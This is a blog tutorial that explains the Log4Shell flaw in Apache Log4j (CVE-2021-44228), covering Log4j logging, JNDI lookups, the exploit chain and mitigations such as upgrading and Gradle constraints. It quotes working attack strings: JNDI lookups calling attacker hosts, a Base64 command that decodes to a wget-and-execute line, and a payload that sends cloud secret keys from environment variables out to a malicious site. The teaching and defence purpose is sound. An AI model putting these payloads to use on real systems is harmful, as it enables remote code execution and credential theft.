We should talk about Log4j...

By Ani Talakhadze

Is there a better way to begin writing than by revealing a spoiler without alerting? Well, if any, I’ll use it in the future, but for now, let’s just say that a lot has been at stake since the Apache Log4j vulnerability was disclosed on December 9, impacting Apache Log4j 2 versions 2.0 to 2.14.1. Designated as CVE-2021–44228, this vulnerability hit the highest severity rating of 10.

This flaw, dubbed as Log4Shell, can allow threat actors the opportunity to take control of any Java-based, internet-facing server and engage in Remote Code Execution (RCE) attacks. From CVE-2021–44228 detail:

An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

According to security firms, the impact of this vulnerability is likely to be very widespread. There are already reports that threat actors are actively engaged in mass Internet scanning to identify servers vulnerable to exploitation. However, fear thou not, as, in this blog, we will explain what the specific Log4j vulnerability is, why it matters, and what tools and resources are available to assist you to avoid malware exploits, cyberattacks, and other cybersecurity risks related to Log4j. So, let’s go ahead and get started!

What is Log4j?

Many of you may not be Java developers and are just curious about this security issue because the internet is going crazy over it. So it would not be a bad idea to wrap up what Log4j does in a few words.

Observation reveals that logging takes up a significant portion of the code. As a result, even small apps will contain hundreds of logging statements. Adding log requests into the application code takes some planning and effort. However, this process is made fairly easier by different logging frameworks like Log4j, which is an open-source logging library commonly used by Java apps and services across the internet. It conveniently has built-in log levels and messages based on the severity of the issue — OFF, FATAL, ERROR, WARN, INFO, DEBUG, and TRACE.

Let’s have a look at how this is done with the help of a very simple Java class that initializes and then uses the Log4j by setting up a simple configuration that logs on the console:

package com.example.log4jdemo;

import org.apache.log4j.BasicConfigurator;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jExample {

    private static final Logger LOGGER = LogManager.getLogger("Log4jExample.class");

    public static void main(String[] args) {
        LOGGER.debug("Hello! This is a debug message");
        LOGGER.info("Hello! This is an info message");
    }
}

First, a Logger with the class’s fully qualified name is obtained from the LogManager. Next, the logger is used to write messages of different severity levels. This is the output after running the main() method in the class:

21:44:59.797 [main] DEBUG com.example.springbootsecuritydemo.Log4jExample - Hello! This is a debug message
21:44:59.800 [main] INFO com.example.springbootsecuritydemo.Log4jExample - Hello! This is an info message
Process finished with exit code 0

The purpose of logging is frequently to provide information about what is going on in the system, which requires including information about the objects that are being manipulated. This might be done in the following manner:

logger.debug("Logging in user " + user.getName() + " with Email " + user.getEmail());

However, when you do this often, the code starts to seem like it’s more about logging than the task at hand. Furthermore, the logging level is checked twice: once during the call to isDebugEnabled() and again during the debug procedure. A better option would be like this:

logger.debug("Logging in user {} with Email {}", user.getName(), user.getEmail());

The logging level will only be checked once using the code above, and the string construction will only happen if debug logging is enabled. While this syntax is really really handy when dealing with logging issues, it has actually become the reason for this breaking news. Stay with me and we will look into details in a second.

What is JNDI?

It’s high time we introduced in our tutorial JNDI, which stands for Java Naming and Directory Interface. It is a Java API that offers name and directory functionality to Java applications. You’ll need the JNDI classes and one or more service providers to use it. The JDK includes service providers for several naming/directory services, including LDAP (Lightweight Directory Access Protocol), RMI (Remote Method Invocation) Registry, and DNS (Domain Name Service).

JNDI allows distributed applications to lookup services in an abstract, resource-independent way. Essentially, this is a safer alternative to having properties file with your JDBC connection info, thus making deployment easier. To put it very simply, it is like a hashmap with a String key and Object values representing resources on the web.

Without JNDI, applications would have to hard-code the location or access information of distant resources or make it available in a configuration. Maintaining this data is time-consuming and error-prone. If a resource is moved to a different server, with a different IP address, for example, all apps that use it must be updated with the new information. This isn’t necessary with JNDI. Only the resource binding for that resource must be updated. Applications can still access it with its name and the relocation is transparent.

Setting up a database connection pool on a Java EE application server is the most usual use case. Any application running on that server can use the JNDI name java:comp/env/class to have access to the connections it requires without having to know the connection’s specifics. Are there any warning flags here that you’re missing?

How does JNDI fit the bigger picture?

As you already know, Log4j allows you to log expressions. Take a look at this code:

package com.example.log4jdemo;

import org.apache.log4j.BasicConfigurator;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jExample {

    private static final Logger LOGGER = LogManager.getLogger("HelloWorld");

    public static void main(String[] args) {
        LOGGER.error("Error message: {}", error.getMessage());
    }
}

What you are doing here is placing an error message from the error object into the string. So Java is going to run this code and then insert the value into the string and the output will contain the result of the executed code from the right part of the expression.

This is typical logging as long as we send objects and their attributes to our logger. This is self-evident, and it is not a problem in and of itself. However, consider JNDI for a moment. Do you recall what it’s for? It allows us to save Java objects on a remote server before serializing them into your JVM. An active directory link would look like this: ldap://www.example.com:8000/dc=example,dc=com. We may use this URL to retrieve a serialized Java object from another location. This has nothing to do with Log4j. This is a Java functionality that has existed for quite some time.

Well, grab your popcorn now and sit tight…

Several years ago JNDI lookup feature was introduced in Log4j, which allowed you to do JNDI lookups from the logging message. A good use case would be the following, for example, you have a centralized logging configuration on a configuration server that you wish to serialize via JNDI and have it affect the logging messages, such as the logging path or prefix. This is what the above code would look like:

    public static void main(String[] args) {
        LOGGER.error("{}: Error message: {}", "${jndi:ldap://logconfig/prefix}", error.getMessage());
    }

We are actually passing a URL rather than a value here. This is not something Java resolves. We are passing this to Log4j. The syntax ${…} instructs Log4j to actually search it up. And here we already see the vulnerability in all its majesty.

To give a hint in a few words, Log4j supports insecure JNDI lookups, which might allow an unauthenticated, remote attacker to execute arbitrary code with the privileges of the vulnerable Java application utilizing Log4j through remote services such as LDAP, RMI, and DNS. But, the question remains: HOW?

How can the Log4j vulnerability be exploited?

Let me use a nice and simple example from SecureWorks:

  1. A threat actor might send a specially crafted string containing a malicious payload to a CVE-2021–44228-vulnerable machine. Any field that the system logs, such as a User Agent string, referrer, username or email address, device name, or freetext input, might contain this string.

  2. The string, which might be something like ${jndi:ldap://attacker.com/a} — where attacker.com is a threat actor-controlled LDAP server — is passed to Log4j for logging.

3.The Log4j vulnerability is triggered by this payload and the vulnerable system uses JNDI to query the threat actor-controlled LDAP server.

  1. The threat actor-controlled LDAP server responds with information that includes a remote Java class file (e.g., hXXp://second-stage.attacker.com/Exploit.class).

  2. This Java class is deserialized (downloaded) and executed.

This graphical view by the Swiss CERT illustrates this attack chain quite well:

Trulli
Graphical view of Log4j JNDI attack by the CERT

Let me provide an example for those who are still unsure about how an attacker may gain access to your system and transmit a specially constructed string to your logger. Assume you have a search page where users can enter search parameters into an input form, which your app will accept and search — easy peasy. You’re taking the search criteria and logging them in your app. Hmm… What could go wrong here?

Imagine what would happen if someone put in the following: ${jndi:ldap://malicious-site/maliciousobject}. What will this code do? The code will send a JNDI request to the domain specified in the parameter. And I’m sure you’re seeing the issue in a new light now. Your JVM now contains a malicious object. That sounds insane but it isn’t called a zero-day vulnerability for nothing, right?

You would get complete control over everything if you were really able to create a Java object of your code in the JVM of a major website. You would be able to run whatever code you want, whenever you want. This is referred to as RCE (Remote Code Execution). According to SecureWorks, in fact, that was exactly what most attackers were attempting to do by passing Base64-encoded commands to do things like download cryptocurrency miners. For example, the following Base64:

{jndi:ldap://<redacted_IP>:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9s

decodes to:

wget hXXp://62.210.130[.]250/lh.sh;chmod +x lh.sh;./l

Simply said, the assault takes advantage of the Log4j vulnerability to download software, which then initiates the download of a .exe file, which then installs a crypto-miner. Once installed, the crypto-miner begins to use the victim’s resources to mine cryptocurrency for the attackers’ benefit, all without the victim being aware that they have been hacked.

There is a reason why this vulnerability is named Log4Shell. It’s almost like anyone can open a shell on any server and issue commands. Yeah, it’s that bad!

What is the solution?

You could think at the end of this tutorial, “Well, that’s good for me as I’m not using Log4j…” But, how certain are you? Your libraries may use Log4j for logging, even if you aren’t using it directly, or they may use other libraries that utilize Log4j for logging. This cycle never ends. Given Log4j’s popularity, it’s likely that any reasonably sized Java application running on the internet has it installed.

First of all, the easiest way to solve this is to block any code coming from external URLs by setting a couple of flags to false in the JVM:

com.sun.jndi.ldap.object.trustURLCodebase
con.sunjndi.rmi.object.trustURLCodebase

However, even if these flags are disabled and your JVM does not trust and deserialize the object it has received, if the call is made, you may still have a problem with the environment variables. Take a look at the following:

${jndi:ldap://www.maliciouswebsite.com:1234/${env:GCP_ACCESS_KEY_ID}/${env:GCP_SECRET_ACCESS_KEY}}

Your key values will most likely be preserved as environment variables, which you will transmit to the malicious site. Even if you don’t trust the incoming reply, the call has already been made and the data has already been transferred. Your access and secret keys will be in the hands of the hacker.

To avoid all of this mess, you must first update Log4j to a newer version (2.16 or higher). The message lookups functionality has been disabled in Log4j 2.16.0 (for Java 8 or later) and to mitigate CVE-2021–44228 and CVE-2021–45046, JNDI is deactivated by default. Also, support for the LDAP protocol has been eliminated in JNDI connections as of version 2.17.0 (for Java 8) and only the JAVA protocol is supported.

It’s a straightforward approach, but it might cause issues if you have a lot of interwoven dependencies. Another option is to patch the class directly so that you don’t have to manually upgrade each dependency’s version.

There’s also something called dependency constraints if you’re using Gradle. The following code basically says that you want a certain version of the library, regardless of the dependence, and that it must be strictly updated to 2.16 or higher.

dependencies {
    constraints {
        implementation("org.apache.logging.log4j:log4j-core") {
            version {
                strictly("[2.16, 3[")
                prefer("2.16.0)
            }
            because("CVE-2021-44228: Log4j vulnerable to remote code execution")
        }
    }
}
* * *

As you may have guessed, it’s critical to resolve this as soon as possible, before a hacker gains access to your machine. Interested readers can find a number of resources on the internet that provide thorough QA sessions. Google has also compiled a list of 500 packages that are impacted, including some of the greatest transitive use. Prioritizing these packages as a maintainer or user might maximize your impact.

To summarize, examine your systems for Log4j usage, review the list of susceptible applications, contact software vendors, configure web application firewall rules, monitor scanning activity, monitor for exploitation, stay informed, and of course, don’t miss my future articles!

Share: Twitter Facebook LinkedIn